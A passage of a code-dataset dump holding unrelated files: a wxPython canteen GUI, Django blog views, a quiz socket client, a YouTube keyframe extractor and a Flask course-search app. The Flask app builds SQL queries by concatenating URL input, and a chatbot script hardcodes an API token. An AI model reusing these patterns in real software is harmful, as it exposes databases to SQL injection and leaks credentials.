Wok\", pos=(50, 100), size=(120, 50))\n self.ChickenRice_btn = wx.Button(self, label=\"Chicken Rice\", pos=(195, 100), size=(120, 50))\n self.HandmadeNoodles_btn = wx.Button(self, label=\"Hand-made \\nNoodles\", pos=(335, 100), size=(120, 50))\n self.MalayBBQ_btn = wx.Button(self, label=\"Malay BBQ\", pos=(475, 100), size=(120, 50))\n self.VegetarianFood_btn = wx.Button(self, label=\"Vegetarian Food\", pos=(615, 100), size=(120, 50))\n # --- line 2\n self.XianCuisine_btn = wx.Button(self, label=\"Xian Cuisine\", pos=(50, 170), size=(120, 50))\n self.JapaneseKoreanDelight_btn = wx.Button(self, label=\"Japanese\\nKorean Delight\", pos=(195, 170), size=(120, 50))\n self.BBQDelight_btn = wx.Button(self, label=\"BBQ Delight\", pos=(335, 170), size=(120, 50))\n self.VietnameseCuisine_btn = wx.Button(self, label=\"Vietnamese \\nCuisine\", pos=(475, 170), size=(120, 50))\n self.ItalianPasta_btn = wx.Button(self, label=\"Italian Pasta\", pos=(615, 170), size=(120, 50))\n # ------ font -----\n font11 = wx.Font(11, wx.DEFAULT, wx.NORMAL, wx.FONTWEIGHT_NORMAL)\n self.MiniWok_btn.SetFont(font11)\n self.ChickenRice_btn.SetFont(font11)\n self.HandmadeNoodles_btn.SetFont(font11)\n self.MalayBBQ_btn.SetFont(font11)\n self.VegetarianFood_btn.SetFont(font11)\n self.XianCuisine_btn.SetFont(font11)\n self.JapaneseKoreanDelight_btn.SetFont(font11)\n self.BBQDelight_btn.SetFont(font11)\n self.VietnameseCuisine_btn.SetFont(font11)\n self.ItalianPasta_btn.SetFont(font11)\n # ------ set color background -----\n self.MiniWok_btn.SetBackgroundColour(\"coral\")\n self.ChickenRice_btn.SetBackgroundColour(\"coral\")\n self.HandmadeNoodles_btn.SetBackgroundColour(\"coral\")\n self.MalayBBQ_btn.SetBackgroundColour(\"coral\")\n self.VegetarianFood_btn.SetBackgroundColour(\"coral\")\n self.XianCuisine_btn.SetBackgroundColour(\"coral\")\n self.JapaneseKoreanDelight_btn.SetBackgroundColour(\"coral\")\n self.BBQDelight_btn.SetBackgroundColour(\"coral\")\n self.VietnameseCuisine_btn.SetBackgroundColour(\"coral\")\n self.ItalianPasta_btn.SetBackgroundColour(\"coral\")\n # ----- Bind function to change panels -----\n self.MiniWok_btn.Bind(wx.EVT_BUTTON, parent.OnClick_MiniWok_T)\n\n # BACK BUTTON\n self.back_btn = wx.Button(self, label=\"Back\", pos=(230,540), size=(300,50))\n font12 = wx.Font(12, wx.DEFAULT, wx.NORMAL, wx.BOLD)\n self.back_btn.SetFont(font12)\n self.back_btn.SetBackgroundColour(\"orange\")\n self.back_btn.SetForegroundColour(\"white\")\n self.back_btn.Bind(wx.EVT_BUTTON, parent.OnClickBack_Panel)\n\n # ADD AN IMAGE\n self.background = wx.StaticBitmap(self, size=(500, 500), pos=(135, 240))\n self.background.SetBitmap(wx.Bitmap(\"images/food_sketch.png\"))\n\n # SET WHITE BACKGROUND\n self.SetBackgroundColour('white')\n\n\n\nclass AnotherDay(wx.Panel):\n def __init__(self, parent):\n super(AnotherDay, self).__init__(parent)\n\n # BACK BUTTON\n self.Back_btn = wx.Button(self, label=\"Back\", pos=(100, 540), size=(300, 50))\n font12 = wx.Font(12, wx.DEFAULT, wx.NORMAL, wx.BOLD)\n self.Back_btn.SetFont(font12)\n self.Back_btn.SetBackgroundColour(\"orange\")\n self.Back_btn.SetForegroundColour(\"white\")\n self.Back_btn.Bind(wx.EVT_BUTTON, parent.OnClickBack_Panel)\n # NEXT BUTTON\n self.Next_btn = wx.Button(self, label=\"Next\", pos=(400, 540), size=(300, 50))\n font12 = wx.Font(12, wx.DEFAULT, wx.NORMAL, wx.BOLD)\n self.Next_btn.SetFont(font12)\n self.Next_btn.SetBackgroundColour(\"SEA GREEN\")\n self.Next_btn.SetForegroundColour(\"white\")\n self.Next_btn.Bind(wx.EVT_BUTTON, parent.OnClick_MiniWok_A)\n\n # CREATE CALENDAR TO PICK A DATE\n self.calendar = wx.adv.CalendarCtrl(self, pos=(230, 100), size=(300,200), style=wx.adv.CAL_SHOW_HOLIDAYS)\n\n # DISPLAY CHOSEN DATE\n # Display current date and time\n self.chosen_date_str = str(wx.DateTime.Format(wx.DateTime.UNow(),format))\n self.chosen_date = wx.StaticText(self, label=self.chosen_date_str, pos=(230,35))\n font20 = wx.Font(20, wx.DEFAULT, wx.NORMAL, wx.FONTWEIGHT_BOLD)\n self.chosen_date.SetFont(font20)\n self.chosen_date.Bind(wx.adv.EVT_CALENDAR_SEL_CHANGED, self.DisplayTime)\n\n # ENTER HOUR AND MINUTE\n self.time_text = wx.StaticText(self, label=\"Time: \", pos=(230, 350))\n self.time_text.SetFont(font20)\n self.hour_input = wx.ComboBox(self, value='00', pos=(330,350), size=(45,50), choices=choice_hour, style=wx.CB_DROPDOWN)\n self.colon = wx.StaticText(self, label=\":\", pos=(380,350))\n self.minute_input = wx.ComboBox(self, value='00', pos=(400,350), size=(45,50), choices=choice_minute, style=wx.CB_DROPDOWN)\n font11_normal = wx.Font(11, wx.DEFAULT, wx.NORMAL, wx.FONTWEIGHT_NORMAL)\n self.hour_input.SetFont(font11_normal)\n self.minute_input.SetFont(font11_normal)\n self.colon.SetFont(font20)\n\n def DisplayTime(self, event):\n chosen_date_str = str(self.calendar.GetDate().Format(format))\n self.chosen_date.SetLabelText(chosen_date_str)\n\n\n# ------------------------- STORE PANELS ------------------------------------\nclass MiniWok(wx.Panel):\n def __init__(self, parent):\n super(MiniWok, self).__init__(parent)\n\n stall_name = \"Mini Wok\"\n image_path = \"images/miniwok.jpg\"\n\n # ____________________________DISPLAY INFO ON THE LEFT_____________________________________\n # ---------------- name ------------------\n self.info_box = wx.StaticBox(self, label=stall_name, pos=(50, 100), size=(330,400))\n font12 = wx.Font(12, wx.DEFAULT, wx.NORMAL, wx.FONTWEIGHT_BOLD)\n self.info_box.SetFont(font12)\n # --- operating hour and waiting time ----\n with open(\"Menu/stall_info.txt\", 'r') as info_str:\n info_dict = json.loads(info_str.read()) # convert string into dictionary\n oper_hour_1, oper_hour_2 = info_dict[stall_name][1], info_dict[stall_name][2]\n text = oper_hour_1[:2] + \":\" + oper_hour_1[2:] + \" - \" + oper_hour_2[:2] + \":\" + oper_hour_2[2:]\n self.oper_hour_text = wx.StaticText(self, label=\"Operating hour: \" +text, pos=(60, 130))\n font11 = wx.Font(11, wx.DEFAULT, wx.NORMAL, wx.FONTWEIGHT_NORMAL)\n self.oper_hour_text.SetFont(font11)\n self.waiting_time_value = info_dict[stall_name][0]\n # ------------- add an image ---------------\n self.image = wx.StaticBitmap(self, size=(500, 500), pos=(60, 170))\n self.image.SetBitmap(wx.Bitmap(image_path))\n # ---------- calculate waiting time --------\n self.enter_text = wx.StaticText(self, label=\"Enter no. of pax:\", pos=(60, 393))\n self.enter_text.SetFont(font11)\n self.enter_space = wx.TextCtrl(self, pos=(180, 390), size=(50,25))\n self.enter_space.SetFont(font11)\n self.waiting_time_text = wx.StaticText(self, label=\"Waiting time: \", pos=(60, 430))\n self.waiting_time_text.SetFont(font11)\n self.waiting_time_result = wx.TextCtrl(self, pos=(180, 427), size=(50,25), style=wx.TE_READONLY)\n self.waiting_time_result.SetFont(font11)\n self.calculate_btn = wx.Button(self, label=\"Calculate\", pos=(240, 387), size=(100, 30))\n font11bold = wx.Font(11, wx.DEFAULT, wx.NORMAL, wx.FONTWEIGHT_BOLD)\n self.calculate_btn.SetFont(font11bold)\n self.calculate_btn.SetForegroundColour('white')\n self.calculate_btn.SetBackgroundColour('sea green')\n self.calculate_btn.Bind(wx.EVT_BUTTON, self.OnCalculate)\n minute = wx.StaticText(self, label=\"minute(s)\", pos=(244,430))\n minute.SetFont(font11)\n\n # __________________________DISPLAY MENU TO THE RIGHT_____________________________________\n self.menu_box = wx.StaticBox(self, label=\"Menu\", pos=(400, 100), size=(330, 400))\n self.menu_box.SetFont(font12)\n # ------------- display --------------\n with open(\"Menu/\"+stall_name+\".txt\", 'r') as stall:\n count = 0\n for line in stall.readlines()[1:]:\n food = line.strip().split('\\t') # 'food' is a list [no. food price]\n position1 = (410, 130 + count * 18)\n position2 = (670, 130 + count * 18)\n if len(food) != 1:\n self.food_name = wx.StaticText(self, label=food[1], pos=position1)\n self.price = wx.StaticText(self, label=food[2], pos=position2)\n self.food_name.SetFont(font11)\n self.price.SetFont(font11)\n if count % 2 != 0:\n self.food_name.SetForegroundColour(\"sea green\")\n self.price.SetForegroundColour(\"sea green\")\n else:\n self.heading = wx.StaticText(self, label=food[1], pos=position1)\n self.heading.SetFont(font11)\n count += 1\n\n # BACK BUTTON\n self.back_btn = wx.Button(self, label=\"Back\", pos=(230,540), size=(300,50))\n font12 = wx.Font(12, wx.DEFAULT, wx.NORMAL, wx.BOLD)\n self.back_btn.SetFont(font12)\n self.back_btn.SetBackgroundColour(\"orange\")\n self.back_btn.SetForegroundColour(\"white\")\n\n def OnCalculate(self, event):\n result = int(self.enter_space.GetValue())*self.waiting_time_value\n self.waiting_time_result.SetLabel(str(result))\n\nclass MiniWok_T(MiniWok):\n def __init__(self, parent):\n super(MiniWok_T, self).__init__(parent)\n\n # BACK BUTTON\n self.back_btn.Bind(wx.EVT_BUTTON, parent.OnClickToday)\n\n # DISPLAY CURRENT DATE\n self.date = wx.StaticText(self, label=realtime, pos=(230, 35))\n font20 = wx.Font(20, wx.DEFAULT, wx.NORMAL, wx.FONTWEIGHT_BOLD)\n self.date.SetFont(font20)\n\nclass MiniWok_A(MiniWok):\n def __init__(self, parent):\n super(MiniWok_A, self).__init__(parent)\n\n # BACK BUTTON\n self.back_btn.Bind(wx.EVT_BUTTON, parent.OnClickAnother)\n # with open('date_time.txt', 'r') as file_w:\n\n # NEXT BUTTON\n with open('date_time.txt', 'r') as file_r:\n chosen_date = file_r.read()\n self.chosen_date = wx.StaticText(self, label=parent.chosen_date, pos=(230, 35))\n font20 = wx.Font(20, wx.DEFAULT, wx.NORMAL, wx.FONTWEIGHT_BOLD)\n self.chosen_date.SetFont(font20)\n\n\n# ----------------------------------- APP -----------------------------\nclass MyApp(wx.App):\n def OnInit(self):\n self.frame = MyFrame(parent=None, title=\"NTU North Spine Canteen\")\n self.frame.Show()\n return True\n\napp = MyApp()\napp.MainLoop()","sub_path":"venv/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":16024,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"255717399","text":"from django.urls import path\nfrom . import views\nfrom .vars import app_name\napp_name = app_name\n\nurlpatterns = [\n path('', views.territories, name='territories'),\n path('territories', views.territories, name='territories'),\n path('territory/new/', views.territory_new, name='territory_new'),\n path('territory//edit/', views.territory_edit, name='territory_edit'),\n path('territory//delete/', views.territory_delete, name='territory_delete'),\n path('types', views.types, name='types'),\n path('type/new/', views.type_new, name='type_new'),\n path('type//edit/', views.type_edit, name='type_edit'),\n path('type//delete/', views.type_delete, name='type_delete'),\n path('features', views.features, name='features'),\n path('feature/new/', views.feature_new, name='feature_new'),\n path('feature//edit/', views.feature_edit, name='feature_edit'),\n path('feature//delete/', views.feature_delete, name='feature_delete'),\n path('improvements', views.improvements, name='improvements'),\n path('improvement/new/', views.improvement_new, name='improvement_new'),\n path('improvement//edit/', views.improvement_edit, name='improvement_edit'),\n path('improvement//delete/', views.improvement_delete, name='improvement_delete'),\n path('maps', views.maps, name='maps'),\n path('map//', views.map, name='map'),\n path('map/new/', views.map_new, name='map_new'),\n path('map//edit/', views.map_edit, name='map_edit'),\n path('map//hex//edit/', views.hex_edit, name='hex_edit'),\n]\n","sub_path":"territory/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1620,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"367156253","text":"import socket\n\nHOST = '0.tcp.ngrok.io' # The server's hostname or IP address\nPORT = 17607 # The port used by the server\n\nwith socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:\n s.connect((HOST, PORT))\n def getMessage(task=None):\n data = b''\n while True:\n buffer = s.recv(1024)\n if len(buffer) == 0:\n break\n else:\n data += buffer\n if(len(buffer) != 1024):\n break\n msg = \"\"\n try:\n msg = data.decode()\n except Exception as e:\n if task != None:\n print(\"Error decoding input during\", task)\n else:\n print(\"Error decoding input\")\n print(e)\n return msg\n while True:\n data = getMessage()\n print(data)\n s.sendall(input().encode())","sub_path":"studentquiz/Client.py","file_name":"Client.py","file_ext":"py","file_size_in_byte":876,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"314041657","text":"fix_teach_gap = 1.0\nteach_gap = 1\nteach_cont = 9\ninitial_teach_rate = 1.0\nteach_rate_anneal = 1.0\nteach_rate_anneal_steps = 100\ngamma = 1.0\nbleu_w = 1.0\nenable_cross_entropy = True\nenable_bleu = True\nenable_prec = True\nenable_recall = False\nrecall_w = 0.0\nmax_order = 4\nmin_fn = 'min'\nmin_c = 1.\ndropout = 0.\nsoft_length_mask = False\nmax_decode_length = None\n\noptimizer = \"adam\"\nlr = 1e-5\n\npretrain = 0\n\nload_dir = None\n\nstart_epoch = 22\nmax_epochs = 1000\ntrain_batches = 1\neval_batches = 1\n\nif bleu_w != 1:\n assert enable_cross_entropy\nif bleu_w != 0:\n assert enable_bleu\nif recall_w != 1:\n assert enable_prec\nif recall_w != 0:\n assert enable_recall\n\ncheckpoints = False\n\nexp_name = \"fix_1_9\"\n","sub_path":"train_config_1batch.py","file_name":"train_config_1batch.py","file_ext":"py","file_size_in_byte":706,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"76043418","text":"import http_handle\nimport sys\n\nsend_data=http_handle.Wit('K5JLXDPZDAQUI26ZPBHJZUHMCNX37H5J')\nout='ok'\nif len(sys.argv) != 2:\n\tprint('usage: python ' + sys.argv[0] + ' ')\nelse:\n\tout=send_data.message(sys.argv[1])\n\nprint(out)\n\n\n\n","sub_path":"chatbot.py","file_name":"chatbot.py","file_ext":"py","file_size_in_byte":238,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"633311101","text":"# Input : YouTube URL (Ex : https://www.youtube.com/watch?v=8HyCNIVRbSU)\n# Output : Extracted Frames from the video in the 'out' folder\n# Time of execution : Around 5-6 min\n\n'''\nParameters/Thresholds:\n1) Number of keywords : n\n2) Image Similarity : dis_threshold (Default : 20)\n3) Non-Text Image : text_threshold (Default : 50) -> Len of the text\n4) Jumping by 5000 ms to capture next frame\n'''\n\n# Import modules\nfrom youtube_transcription import youtube_transcribe\nfrom keywords_extractor import get_keywords\nimport io\n\nfrom youtube_transcript_api import YouTubeTranscriptApi\nimport cv2\nimport os\nimport pafy\nimport youtube_dl\nimport numpy as np\nimport requests\nimport imageio\nfrom PIL import Image\nimport pytesseract\n\n# Path to your tesseract executable\n#pytesseract.pytesseract.tesseract_cmd = r'G:\\himanshu\\Tesseract-OCR\\tesseract.exe'\n\ndef detect_text(img):\n text = pytesseract.image_to_string(img,lang='eng')\n return text\n\ndef frames(u,s,e): \n url = u\n vPafy = pafy.new(url)\n play = vPafy.getbest()\n capture = cv2.VideoCapture(play.url)\n \n# capture = cv2.VideoCapture(\"video1.mp4\") \n\n _,frame = capture.read()\n start = s\n end = e\n start = start + 250\n # global count\n while(start <= end):\n \n capture.set(cv2.CAP_PROP_POS_MSEC,start)\n _,frame = capture.read()\n \n if frame is None:\n start = start+250\n continue\n \n cv2.imwrite(\"out/image\"+str(start)+\".jpg\", frame)\n # count+=1\n \n start = start+2500\n prev_frame = frame\n \n capture.release()\n\n\ndef start_end(transcript,search):\n count=0\n duration=0\n start=0\n end=0\n new=0\n for i in range(len(transcript)):\n while count= dis_threshold:\n i+=1\n else:\n os.remove('out/'+files[i])\n i+=1\n \n\nif __name__ == '__main__':\n url = input(\"Enter the URL = \")\n text = youtube_transcribe(url)\n\n # Keywords Extractor\n keywords=get_keywords(text,10)\n print('\\nKeywords:\\n',keywords)\n \n Image_Processing(url,keywords)\n print(\"Images Extracted in 'out' folder\")\n","sub_path":"backend/keyframes.py","file_name":"keyframes.py","file_ext":"py","file_size_in_byte":4310,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"61598530","text":"from flask import *\nfrom flask import request,Response,jsonify\nimport json\nfrom peewee import *\ndb=SqliteDatabase('wake.db')\ndb.connect()\n\nclass BaseModel(Model):\n class Meta:\n database=db\nclass Course(BaseModel):\n id = PrimaryKeyField()\n name = CharField()\n type = CharField()\n teacher = CharField()\n avg = CharField()\n credit = CharField()\n college = CharField()\n comments = CharField()\n star = CharField()\n bt90 = CharField()\n bt80 = CharField()\n bt70 = CharField()\n bt60 = CharField()\n bl60 = CharField()\n av23 = CharField()\n av34 = CharField()\n av45 = CharField()\n av56 = CharField()\n av67 = CharField()\n av78 = CharField()\n link = CharField()\n class Meta:\n db_table = 'wake'\n\napplication = Flask(__name__)\n#########记得把表名改了\n\n@application.route('/')\ndef hello_world():\n return render_template('search.html')\n\n@application.route('/home')\ndef home():\n return render_template('search2.html')\n\n@application.route('/m/list/',methods=['GET','POST'])\ndef selectp(sec):\n all=sec.split('&')\n return render_template('list.html',ones=search2(all))\n\n@application.route('/list/',methods=['GET','POST'])\ndef select(sec):\n all=sec.split('&')\n return search(all)\n\ndef search2(dictt):\n name = \"SELECT * FROM wake WHERE (name LIKE '%\" + dictt[0] + \"%' OR teacher LIKE '%\" + dictt[0] + \"%')\"\n order= \" ORDER BY avg DESC\"\n sql=\"\"+name\n if dictt[1] !=\"\" : sql+=\" AND type LIKE '%\"+dictt[1]+\"%'\"\n if dictt[2] !=\"\": sql+=\" AND avg BETWEEN \"+str(int(dictt[2]))+\" and \"+str(int(dictt[2])+10)\n if dictt[3] !=\"\": sql+=\" AND star = '\"+dictt[3]+\"'\"\n if dictt[4] != \"\": sql += \" AND comments LIKE '%\" + dictt[4] + \"%'\"\n sql+=order\n result=Course.raw(sql)\n datain=[]\n for i in result:\n con={}\n con['name']=i.name\n con['teacher']=i.teacher\n con['credit']=i.credit\n con['avg']=i.avg\n con['id']=i.id\n datain.append(con)\n return datain\n\ndef search(dictt):\n name = \"SELECT * FROM wake WHERE (name LIKE '%\" + dictt[0] + \"%' OR teacher LIKE '%\" + dictt[0] + \"%')\"\n order= \" ORDER BY avg DESC\"\n sql=\"\"+name\n if dictt[1] !=\"\" : sql+=\" AND type LIKE '%\"+dictt[1]+\"%'\"\n if dictt[2] !=\"\": sql+=\" AND avg BETWEEN \"+str(int(dictt[2]))+\" and \"+str(int(dictt[2])+10)\n if dictt[3] !=\"\": sql+=\" AND star = '\"+dictt[3]+\"'\"\n if dictt[4] != \"\": sql += \" AND comments LIKE '%\" + dictt[4] + \"%'\"\n sql+=order\n result=Course.raw(sql)\n datain=[]\n for i in result:\n con={}\n con['name']=i.name\n con['teacher']=i.teacher\n con['credit']=i.credit\n con['avg']=i.avg\n con['id']=i.id\n datain.append(con)\n kelist={\"data\":datain}\n js = json.dumps(kelist)\n resp = Response(js, status=200, mimetype=\"application/json\")\n return resp\n\n@application.route('/id/',methods=['GET','POST'])\ndef getdtl(ids):\n id=int(ids)\n return dtl(id)\n\n@application.route('/m/id/',methods=['GET','POST'])\ndef getdtl2(ids):\n id=int(ids)\n return render_template('detail.html',one=dtl2(id))\ndef none(a):\n if a == \"None\": return \"\"\n else: return a\ndef dtl(a):\n sql=\"SELECT * FROM wake WHERE id={};\".format(a)\n outss=Course.raw(sql)\n outs=outss[0]\n datain={}\n datain['name']=outs.name\n datain['type'] = outs.type\n datain['teacher']=outs.teacher\n datain['avg']=outs.avg\n datain['credit']=outs.credit\n datain['college']=outs.college\n datain['comments'] = eval('\"%s\"' % outs.comments)\n datain['star']=outs.star\n datain['bt90']=outs.bt90\n datain['bt80']=outs.bt80\n datain['bt70']=outs.bt70\n datain['bt60']=outs.bt60\n datain['bl60']=outs.bl60\n js=json.dumps(datain)\n resp = Response(js, status=200, mimetype=\"application/json\")\n return resp\n\ndef dtl2(a):\n sql=\"SELECT * FROM wake WHERE id={};\".format(a)\n outss=Course.raw(sql)\n outs=outss[0]\n datain={}\n datain['name']=outs.name\n datain['type']=none(outs.type)\n datain['teacher']=outs.teacher\n datain['avg']=outs.avg\n datain['credit']=outs.credit\n datain['college']=outs.college\n datain['comments'] = outs.comments.replace(\"
\",\"\\n\").replace(\"点评时间\",\"\\n\\n点评时间\")\n datain['star']=outs.star\n datain['bt90']=outs.bt90\n datain['bt80']=outs.bt80\n datain['bt70']=outs.bt70\n datain['bt60']=outs.bt60\n datain['bl60']=outs.bl60\n return datain\n\n@application.route('/type/',methods=['GET','POST'])\ndef gettype(type):\n typ=type\n return typelist(typ)\n\n@application.route('/m/type/')\ndef gettype2():\n return render_template('type.html',scis=search2(['','自然科学类','','','']),rws=search2(['','人文社会科学类','','','']),aas=search2(['','A系列','','','']))\n\ndef typelist(name):\n sql=\"SELECT * FROM wake WHERE type LIKE '%\"+name+\"%' ORDER BY avg DESC\"\n outs=Course.raw(sql)\n datain = []\n for i in outs:\n con = {}\n con['name'] = i.name\n con['teacher'] = i.teacher\n con['credit'] = i.credit\n con['avg'] = i.avg\n con['id'] = i.id\n datain.append(con)\n kelist = {\"data\": datain}\n js = json.dumps(kelist)\n resp = Response(js, status=200, mimetype=\"application/json\")\n return resp\n\n@application.route('/about')\ndef about():\n return render_template('about.html')\n\n\nif __name__ == '__main__':\n application.run(use_reloader=True)\n","sub_path":"wsgi.py","file_name":"wsgi.py","file_ext":"py","file_size_in_byte":5427,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"379089593","text":"from django.shortcuts import render\nfrom django.utils import timezone\nfrom .models import Post, Comment\nfrom django.shortcuts import render, get_object_or_404, redirect\nfrom .forms import PostForm, CommentForm\nfrom django.contrib.auth.decorators import login_required\n\ndef post_detail(request, pk):\n post = get_object_or_404(Post, pk=pk)\n return render(request, 'blog/post_detail.html', {'post': post})\n# funkcja wyswietlajaca szczegoly postu (strona ktora pojawia sie jak klikniesz w post)\n# argumenty ktore przyjmuje to request i pk, request jest to nic innego jak zadanie uzytkownika\n# np. uzytkownik chce sie dostac na strone www.wp.pl/post/123312.html, django dopasowywuje adres do wzorca i wyciaga z niego\n# 123312 w tym samym czasie szukajac w bazie danych posta o takim kluczu. W przypadku jego braku, wyswietla blad 404\n# jesli natomiast znajdzie ten post, to pobiera go i uzywajac funkcji render generuje strone jaka jest opisana w 'blog/post_detail.html'\n\ndef post_list(request):\n posts = Post.objects.filter(published_date__lte=timezone.now()).order_by('-published_date')\n return render(request, 'blog/post_list.html', {'posts': posts})\n# jak wyzej, tylko ze dla listy postow (w sumie, strony glownej w tym przypadku)\n#posts = Post.objects.filter(published_date__lte=timezone.now()).order_by('-published_date')\n# funkcja filter wyciaga ze swoich argumentow (tego co zawarte w \"()\") wartosci ktore sa prawda\n# published_date__lte= timezone.now() przeszukuje baze danych za datami publikacji rownymi lub mniejszymi od aktualnej daty i czasu\n# __lte=less than or equal to\n# a nastepnie sortuje wg daty publikacji, znak '-' na poczatku oznacza odwrocenie kolejnosci\n# w tym wypadku posty beda wyswietlane w sposob gdzie na gorze bedzie post najmlodszy a na dole najstarszy\n#gdyby tego minusa wyrzucic, na samej gorze beda posty najstarsze a na dole najmlodsze\n\ndef post_new(request):\n if request.method == \"POST\":\n form = PostForm(request.POST)\n if form.is_valid():\n post = form.save(commit=False)\n post.author = request.user\n post.published_date = timezone.now()\n post.save()\n return redirect('post_detail', pk=post.pk)\n else:\n form = PostForm()\n return render(request, 'blog/post_edit.html', {'form': form})\n# funkcja tworzaca nowe posty na stronie\n# pierw odnosi sie do klasy Post(models.py) i pod zmienna form podstawia forme posta (forms.py)\n# kawalek kodu od \"if from.is_valid(): do \"return redirect...\" dziala nastepujaco\n# najpierw pod \"post\" podstawiana jest forma posta (forms.py), argument \"commit=False\" oznacza ze cos jeszcze\n# bedzie tutaj dopisane (czyt. django zanim zapisze tego posta, poczeka na user input, czyli na uzytkownika wpisujacego tresc posta)\n#post.author pobiera nazwe aktualnie zalogowanego uzytkownika\n# nastepnie pobierana jest aktualna data wraz z czasem (wszedzie gdzie jest timezone.now() pobierana jest zarowno data jak i czas. Na wypadek jakbym wczesniej to pominal)\n# i jest przypisana do daty publikacji\n#nastepnie post jest zapisany i uzytkownik przekierowany jest do strony 'post_detail'. Na podstaiwe wzorca z urls.py oraz klucza glownego pobranego z bazy danych\n# od else, w dol\n# w przypadku gdy forma nie jest wlasciwa (czyt. brakuje tresci w polah czy cos) uzytkownik dostaje informacje \"this field is required\"\n\ndef post_edit(request, pk):\n post = get_object_or_404(Post, pk=pk)\n if request.method == \"POST\":\n form = PostForm(request.POST, instance=post)\n if form.is_valid():\n post = form.save(commit=False)\n post.author = request.user\n # post.published_date = timezone.now()\n post.save()\n return redirect('post_detail', pk=post.pk)\n else:\n form = PostForm(instance=post)\n return render(request, 'blog/post_edit.html', {'form': form})\n\n# ta funkcja dziala podobnie do poprzedniej\n# roznice sa takie ze pierw sprawdza czy post ktory chcemy edytowac istnieje w bazie danych, jak nie to wyrzuca 404\n# w linijce form = PostForm(request.POST, instance=post) niestety nie pamietam o co chodzilo z instance=post\n#jesli sie nie myle, bylo to odniesienie do bazy danych, do tabeli postow, ale proponuje to sprawdzic\n#linijka wykomentowana zostala przeze mnie wyrzucona gdyz powodowala ze edycja postu zmieniala date publikacji na aktualna\n# podobno gdzies tam w dalszych czesciach tutoriala ejst cos o dacie edycji itd, ale ja mozliwe ze to rpzeoczylem, wiec naprawilem to w taki sposob jak widac\n\n\n\n#Kolejne funkcje nie powinny wymagac wyjasniania gdyz sa prawie takie same jak poprzednie i dzialaja na tych samych zasadach\n\ndef post_draft_list(request):\n posts = Post.objects.filter(published_date__isnull=True).order_by('created_date')\n return render(request, 'blog/post_draft_list.html', {'posts': posts})\n\ndef post_publish(request, pk):\n post = get_object_or_404(Post, pk=pk)\n post.publish()\n return redirect('blog.views.post_detail', pk=pk)\n\ndef post_remove(request, pk):\n post = get_object_or_404(Post, pk=pk)\n post.delete()\n return redirect('blog.views.post_list')\n\ndef add_comment_to_post(request, pk):\n post = get_object_or_404(Post, pk=pk)\n if request.method == \"POST\":\n form = CommentForm(request.POST)\n if form.is_valid():\n comment = form.save(commit=False)\n comment.post = post\n comment.save()\n return redirect('blog.views.post_detail', pk=post.pk)\n else:\n form = CommentForm()\n return render(request, 'blog/add_comment_to_post.html', {'form': form})\n\n\n# no moze poza tymi :D\n# ale jedyna roznica tutaj jest taka ze wymagane jest to zeby zalogowany uztkownik mial uprawnienia do tych funkcji\n# obslugiwane jest to przez django a kto moze zatwierdzac i usuwac komentarze jest zdefiniowane w admin.py\n@login_required\ndef comment_approve(request, pk):\n comment = get_object_or_404(Comment, pk=pk)\n comment.approve()\n return redirect('blog.views.post_detail', pk=comment.post.pk)\n\n@login_required\ndef comment_remove(request, pk):\n comment = get_object_or_404(Comment, pk=pk)\n post_pk = comment.post.pk\n comment.delete()\n return redirect('blog.views.post_detail', pk=post_pk)\n","sub_path":"views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":6239,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"639642530","text":"'''\nRepresentation learning testing for TCGA data.\nSet all parameters in this script & run with parameter \"batch\" or \"local\".\n'''\n\nimport numpy as np\nimport logging\nimport datetime\nimport time\nimport math\nimport pickle\n\n\nfrom common import expInterp, ensure_dir_exists, pretty_duration\nimport batch2\nfrom types import SimpleNamespace\n\n######################################################################\n# SETUP\n######################################################################\n# set the following parameter values\n\n# logging configuration\nlogging.basicConfig(level=logging.INFO)\nlog_file_formatter = logging.Formatter(\n fmt=\"%(asctime)s - %(levelname)s (%(name)s): %(message)s\",\n datefmt=\"%Y-%m-%d %H:%M:%S\")\n\n# input dataset\ndata_set = \"TCGA_geneexpr_filtered\"\ndata_type = 'rnaseq_tpm_rle_log2_gene_expressions'\ntarget_set = \"TCGA_cancertype\"\ntarget_type = 'cancer_types'\n\ngdsc_data_set = \"GDSC_geneexpr_filtered_redistributed\"\ngdsc_data_type = 'redistributed_gene_expressions'\n\n\ncancer_type_pairs = [\n [\"lung squamous cell carcinoma\", \"head & neck squamous cell carcinoma\"],\n [\"bladder urothelial carcinoma\", \"cervical & endocervical cancer\"],\n [\"colon adenocarcinoma\", \"rectum adenocarcinoma\"],\n [\"stomach adenocarcinoma\", \"esophageal carcinoma\"],\n [\"kidney clear cell carcinoma\", \"kidney papillary cell carcinoma\"],\n [\"glioblastoma multiforme\", \"sarcoma\"],\n [\"adrenocortical cancer\", \"uveal melanoma\"],\n [\"testicular germ cell tumor\", \"uterine carcinosarcoma\"],\n [\"lung adenocarcinoma\", \"pancreatic adenocarcinoma\"],\n [\"ovarian serous cystadenocarcinoma\", \"uterine corpus endometrioid carcinoma\"],\n [\"brain lower grade glioma\", \"pheochromocytoma & paraganglioma\"],\n [\"skin cutaneous melanoma\", \"mesothelioma\"],\n [\"liver hepatocellular carcinoma\", \"kidney chromophobe\"],\n [\"breast invasive carcinoma\", \"prostate adenocarcinoma\"],\n [\"acute myeloid leukemia\", \"diffuse large B-cell lymphoma\"],\n [\"thyroid carcinoma\", \"cholangiocarcinoma\"],\n]\n\n## general test parameters\n\ntest_params = SimpleNamespace(\n # selection of private and validation_private cancertypes\n param_opt_folds = 2,\n\n # RNG seeds\n main_seed = 0,\n test_seeds = list(range(9)),\n #test_seeds = [0, 1, 2, 3, 4],\n #test_seeds = 